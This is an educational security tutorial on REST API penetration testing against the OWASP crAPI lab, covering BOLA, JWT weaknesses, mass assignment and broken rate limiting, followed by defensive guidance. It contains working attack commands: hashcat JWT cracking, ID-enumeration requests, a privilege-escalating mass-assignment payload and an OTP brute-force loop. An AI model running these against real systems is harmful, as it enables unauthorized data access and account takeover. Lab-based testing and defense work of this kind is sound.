Disclaimer: This article is for education and authorized security testing only. Test only systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction (CFAA in the US, the Computer Misuse Act in the UK, and equivalents elsewhere).
Introduction / Overview
Modern web and mobile applications are thin clients on top of REST APIs. The browser or app is just a UI; the real attack surface is the JSON over HTTP. This shift is exactly why the OWASP API Security Top 10 exists as a separate list from the classic Web Top 10 — the dominant API risks are authorization flaws, not injection.
This article walks through a repeatable methodology covering the highest-impact classes from the OWASP API Security Top 10 (2023): BOLA (Broken Object Level Authorization, API1), Broken Authentication (API2), BOPLA / Mass Assignment (API3), and Unrestricted Resource Consumption / broken rate limiting (API4). We use Postman and curl for the hands-on work.
How it works / Background
REST APIs expose resources at predictable URLs (/api/v1/users/1042/orders). Three structural properties make them uniquely vulnerable:
- Object IDs are exposed in the request. Path parameters and request bodies carry object references (
user_id,order_id). If the server checks authentication ("are you logged in?") but not authorization ("do you own this object?"), you have BOLA. - Object binding is automatic. Frameworks deserialize the whole JSON body into a model. If
is_adminorroleis a model field and the API doesn't whitelist inputs, a client can set it — mass assignment. - Clients are first-class consumers. APIs are built to be hit programmatically, so missing rate limiting lets an attacker brute force, enumerate, or run resource-exhaustion attacks at scale.
The MITRE ATT&CK technique most relevant here is T1190 (Exploit Public-Facing Application), with credential brute forcing mapping to T1110.
Prerequisites / Lab setup
Never practice on production. Two excellent intentionally-vulnerable targets:
- crAPI (Completely Ridiculous API) — OWASP's purpose-built vulnerable API.
- VAmPI — a simpler Flask vulnerable API, good for first runs.
Spin up crAPI with Docker Compose:
curl -o docker-compose.yml https://raw.githubusercontent.com/OWASP/crAPI/develop/deploy/docker/docker-compose.yml
docker compose pull
docker compose -f docker-compose.yml up -d
# Web UI on http://localhost:8888, mail catcher (MailHog) on http://localhost:8025BashTooling:
# API recon and fuzzing
pipx install mitmproxy # capture mobile/web traffic into a collection
brew install ffuf jq # endpoint and parameter fuzzing + JSON parsing
# Postman desktop for collection-driven testing and the embedded JS runnerBashA clean workflow: route the mobile app or browser through mitmproxy (mitmweb -p 8080), export captured flows, and import them into Postman as a collection so every endpoint, header, and token is reproducible.
Walkthrough / PoC
1. Map the surface
Pull the OpenAPI/Swagger spec if exposed — it is the single best source of truth.
curl -s http://localhost:8888/v2/api-docs | jq '.paths | keys[]'
# Common spec locations to probe
ffuf -u http://localhost:8888/FUZZ -w <(printf '%s\n' \
openapi.json swagger.json api-docs v2/api-docs swagger-ui.html .well-known/openid-configuration)Bash2. Authenticate and capture a token
Register and log in, then keep the JWT. In Postman, store it as a collection variable so it auto-injects via Authorization: Bearer {{token}}.
curl -s -X POST http://localhost:8888/identity/api/auth/login \
-H 'Content-Type: application/json' \
-d '{"email":"victim-a@example.com","password":"Password123"}' | jq -r .tokenBashInspect the JWT. crAPI historically signs tokens with a weak/known key and accepts the none algorithm — always test for these:
# Decode header + payload (no verification)
echo "$JWT" | cut -d. -f1,2 | tr '.' '\n' | while read p; do echo "$p" | base64 -d 2>/dev/null; echo; done
# Crack HS256 with a wordlist
hashcat -m 16500 jwt.txt rockyou.txtBashIf the algorithm is none or the secret is guessable, you can forge any user's token (API2: Broken Authentication).
3. BOLA — the highest-impact test
Get your own resource, note the ID, then increment/decrement or swap in another user's ID. With two accounts (victim-a, victim-b), capture b's object ID and request it using a's token.
# As user A, request user B's order
curl -s http://localhost:8888/workshop/api/shop/orders/2 \
-H "Authorization: Bearer $TOKEN_A" | jqBashIf user A receives user B's order details, that is a confirmed BOLA. Automate the enumeration in Postman's Collection Runner with a data file of IDs, or with ffuf:
ffuf -u "http://localhost:8888/workshop/api/shop/orders/FUZZ" \
-H "Authorization: Bearer $TOKEN_A" \
-w ids.txt -mc 200 -fr '"message":"forbidden"'BashWatch for status code and response-size differences (-fs) — a server may return 200 with an empty body for unauthorized objects.
4. Mass assignment
Find a profile or order update endpoint and inject fields that aren't in the UI form. Compare a normal GET response (to learn field names) against what you can PUT/PATCH back.
# Normal update sends only "name". Try adding privileged fields:
curl -s -X POST http://localhost:8888/identity/api/v2/user/dashboard \
-H "Authorization: Bearer $TOKEN_A" -H 'Content-Type: application/json' \
-d '{"name":"alice","available_credit":99999,"role":"admin"}' | jqBashIf available_credit or role reflects in the response or persists on the next GET, the API blindly bound client input to the model (API3: BOPLA).
5. Broken rate limiting
Hammer an authentication or OTP endpoint and measure whether throttling, lockout, or CAPTCHA ever engages. crAPI's vehicle-location OTP is a classic 4-digit brute force.
for otp in $(seq -w 0 9999); do
code=$(curl -s -o /dev/null -w '%{http_code}' \
-X POST http://localhost:8888/identity/api/auth/v3/check-otp \
-H 'Content-Type: application/json' \
-d "{\"email\":\"victim-a@example.com\",\"otp\":\"$otp\"}")
[ "$code" = "200" ] && { echo "OTP found: $otp"; break; }
doneBashIf you can iterate the full keyspace without being blocked, rate limiting is broken (API4: Unrestricted Resource Consumption).

The diagram shows the linear methodology: capture and reproduce traffic, enumerate the spec, branch on authentication, then systematically probe authorization, object binding, and throttling before reporting.
Detection & Defense (Blue Team)
Defense must match the offense one-to-one. The root cause of most API breaches is server-side trust of client input, so fixes belong on the server, not the client.
Against BOLA (API1)
- Enforce object-level authorization on every request that references an object:
if order.user_id != current_user.id: raise Forbidden. Centralize this in a policy layer (e.g., a Rego/OPA policy or a framework authorization gate) so it can't be forgotten per-endpoint. - Prefer random, unpredictable IDs (UUIDv4) over sequential integers. This is defense-in-depth, not a substitute for authorization checks.
- Detection: alert on a single token requesting many distinct object IDs in a short window, or a high ratio of
403/404responses per principal — a strong enumeration signal.
Against Broken Authentication (API2)
- Use a vetted JWT library, pin the expected algorithm (reject
none), and use strong asymmetric keys (RS256/ES256). Never embed the signing secret in a mobile binary. - Short token TTLs, rotation, and server-side revocation lists.
Against Mass Assignment (API3)
- Whitelist bindable fields with explicit DTOs / schemas (Pydantic models, Java
@JsonView, Railsstrong_parameters). Never deserialize directly into persistence models. - Separate read and write models so privileged fields (
role,is_admin,balance) are physically unreachable from request binding.
Against Broken Rate Limiting (API4)
- Apply per-user and per-IP rate limits plus exponential backoff/lockout on auth, OTP, and password-reset endpoints. A 4-6 digit OTP must have attempt limits and short expiry.
- Deploy a WAF/API gateway (Kong, AWS API Gateway, Cloudflare) with throttling and bot detection in front of the API.
Cross-cutting
- Log structured audit events (principal, object, action, decision) and ship them to a SIEM. Map alerts to ATT&CK T1190 and T1110.
- Maintain an accurate inventory of API versions and endpoints to eliminate shadow/zombie APIs (API9). Continuously diff the live attack surface against the OpenAPI spec in CI.
For a deeper dive on adjacent topics, see Intercepting mobile app traffic with mitmproxy, JWT attacks and forging tokens, and GraphQL API security testing.
Conclusion
REST API security is overwhelmingly an authorization problem. The highest-yield tests — BOLA, mass assignment, and rate-limit bypass — require no exotic exploits, just disciplined enumeration of object IDs, request fields, and throttling behavior. Build a reproducible Postman collection, drive it from captured traffic, and test every endpoint against the OWASP API Top 10. Defenders win by centralizing object-level authorization, whitelisting bindable fields, and enforcing rate limits at the gateway.
References
- OWASP API Security Top 10 (2023): https://owasp.org/API-Security/editions/2023/en/0x11-t10/
- OWASP crAPI: https://github.com/OWASP/crAPI
- VAmPI: https://github.com/erev0s/VAmPI
- MITRE ATT&CK T1190 (Exploit Public-Facing Application): https://attack.mitre.org/techniques/T1190/
- MITRE ATT&CK T1110 (Brute Force): https://attack.mitre.org/techniques/T1110/
- HackTricks — API Security: https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/api-pentesting
- PortSwigger Web Security Academy — API testing: https://portswigger.net/web-security/api-testing
- ffuf: https://github.com/ffuf/ffuf
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments